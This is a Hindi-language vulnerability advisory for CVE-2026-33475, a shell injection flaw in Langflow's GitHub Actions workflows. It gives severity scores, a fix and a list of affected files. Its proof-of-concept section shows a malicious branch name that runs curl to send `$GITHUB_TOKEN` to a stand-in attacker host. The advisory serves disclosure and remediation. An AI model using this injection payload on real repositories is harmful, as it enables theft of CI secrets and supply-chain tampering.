CVE-2026-33475
Langflow GitHub Actions शेल इंजेक्शन
- प्रकाशित
- 24 मार्च 2026
- अद्यतन
- 25 मार्च 2026
- सीएनए असाइन करना
- GitHub_M
- साक्ष्य देखे गए
- 5 सित॰ 2026
प्राथमिक सीवीएसएस
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Nकम · अगले 30 दिन
- प्रतिशत
- 86.5%
- मॉडल दिनांक
- 21 सित॰ 2026
ईपीएसएस एक सांख्यिकीय अनुमान है, कोई निश्चितता या प्रभाव का माप नहीं। इसे सीवीएसएस, केईवी स्थिति, एक्सपोज़र और अपने वातावरण के साथ मिलाएं।
सारांश
# लैंगफ्लो (Langflow) — GitHub Actions में अनमान्य शेल इंजेक्शन Langflow AI-संचालित एजेंट और वर्कफ़्लो बनाने और तैनात करने का एक टूल है। Langflow रिपॉज़िटरी के संस्करण 1.9.0 से पहले के कई GitHub Actions वर्कफ़्लो में एक अनमान्य (unauthenticated) रिमोट शेल इंजेक्शन भेद्यता मौजूद है। `run:` चरणों में GitHub कॉन्टेक्स्ट वेरिएबल्स (जैसे, `${{ github.head_ref }}`) का असैनिटाइज़्ड इंटरपोलेशन हमलावरों को एक दुर्भावनापूर्ण ब्रांच नाम या पुल रिक्वेस्ट शीर्षक के माध्यम से मनमाने शेल कमांड इंजेक्ट और निष्पादित करने की अनुमति देता है। इससे CI/CD निष्पादन के दौरान सीक्रेट एक्सफ़िलट्रेशन (जैसे, `GITHUB_TOKEN`), इंफ्रास्ट्रक्चर में हेरफेर, या सप्लाई चेन समझौता हो सकता है। संस्करण 1.9.0 इस भेद्यता को पैच करता है। --- ### विवरण `.github/workflows/` और `.github/actions/` में कई वर्कफ़्लो GitHub कॉन्टेक्स्ट वेरिएबल्स को सीधे `run:` शेल कमांड में संदर्भित करते हैं, जैसे: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` या: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` चूँकि `github.head_ref`, `github.event.pull_request.title`, और कस्टम `inputs.*` में **उपयोगकर्ता-नियंत्रित मान** हो सकते हैं, उन्हें **अविश्वसनीय इनपुट** माना जाना चाहिए। उचित कोटिंग या सैनिटाइज़ेशन के बिना सीधा इंटरपोलेशन शेल कमांड इंजेक्शन की ओर ले जाता है। --- ### PoC 1. Langflow रिपॉज़िटरी को **फ़ोर्क** करें 2. नाम के साथ एक **नई ब्रांच बनाएं**: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. नई ब्रांच से मुख्य ब्रांच पर एक **पुल रिक्वेस्ट खोलें** 4. GitHub Actions प्रभावित वर्कफ़्लो (जैसे, `deploy-docs-draft.yml`) चलाएगा 5. `run:` चरण जिसमें शामिल है: ```yaml echo "Branch: ${{ github.head_ref }}" ``` निष्पादित करेगा: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. हमलावर को एक्सफ़िल URL के माध्यम से CI सीक्रेट प्राप्त होता है। --- ### प्रभाव - **प्रकार:** CI में शेल इंजेक्शन / रिमोट कोड निष्पादन - **दायरा:** GitHub Actions सक्षम वाला कोई भी सार्वजनिक Langflow फ़ोर्क - **प्रभाव:** CI सीक्रेट्स तक पूर्ण पहुंच (जैसे, `GITHUB_TOKEN`), दुर्भावनापूर्ण टैग या इमेज पुश करने की संभावना, रिलीज़ के साथ छेड़छाड़, या संवेदनशील इंफ्रास्ट्रक्चर डेटा का रिसाव --- ### सुझाया गया समाधान प्रभावित वर्कफ़्लो को **पर्यावरण वेरिएबल्स का उपयोग करने** और उन्हें **डबल कोट्स** में लपेटने के लिए रीफ़ैक्टर करें: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` किसी भी उपयोगकर्ता-नियंत्रित मान के लिए `run:` के अंदर सीधे `${{ ... }}` इंटरपोलेशन से बचें। --- ### प्रभावित फ़ाइलें (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
जिम्मेदारीपूर्ण उपयोग
भेद्यता जानकारी का उपयोग केवल उन प्रणालियों पर करें जिनके मालिक आप हैं या परीक्षण के लिए अधिकृत हैं। किटप्लॉइट सार्वजनिक अनुसंधान मेटाडेटा से लिंक करता है और शोषण कोड या दुर्भावनापूर्ण पेलोड को संग्रहीत नहीं करता है।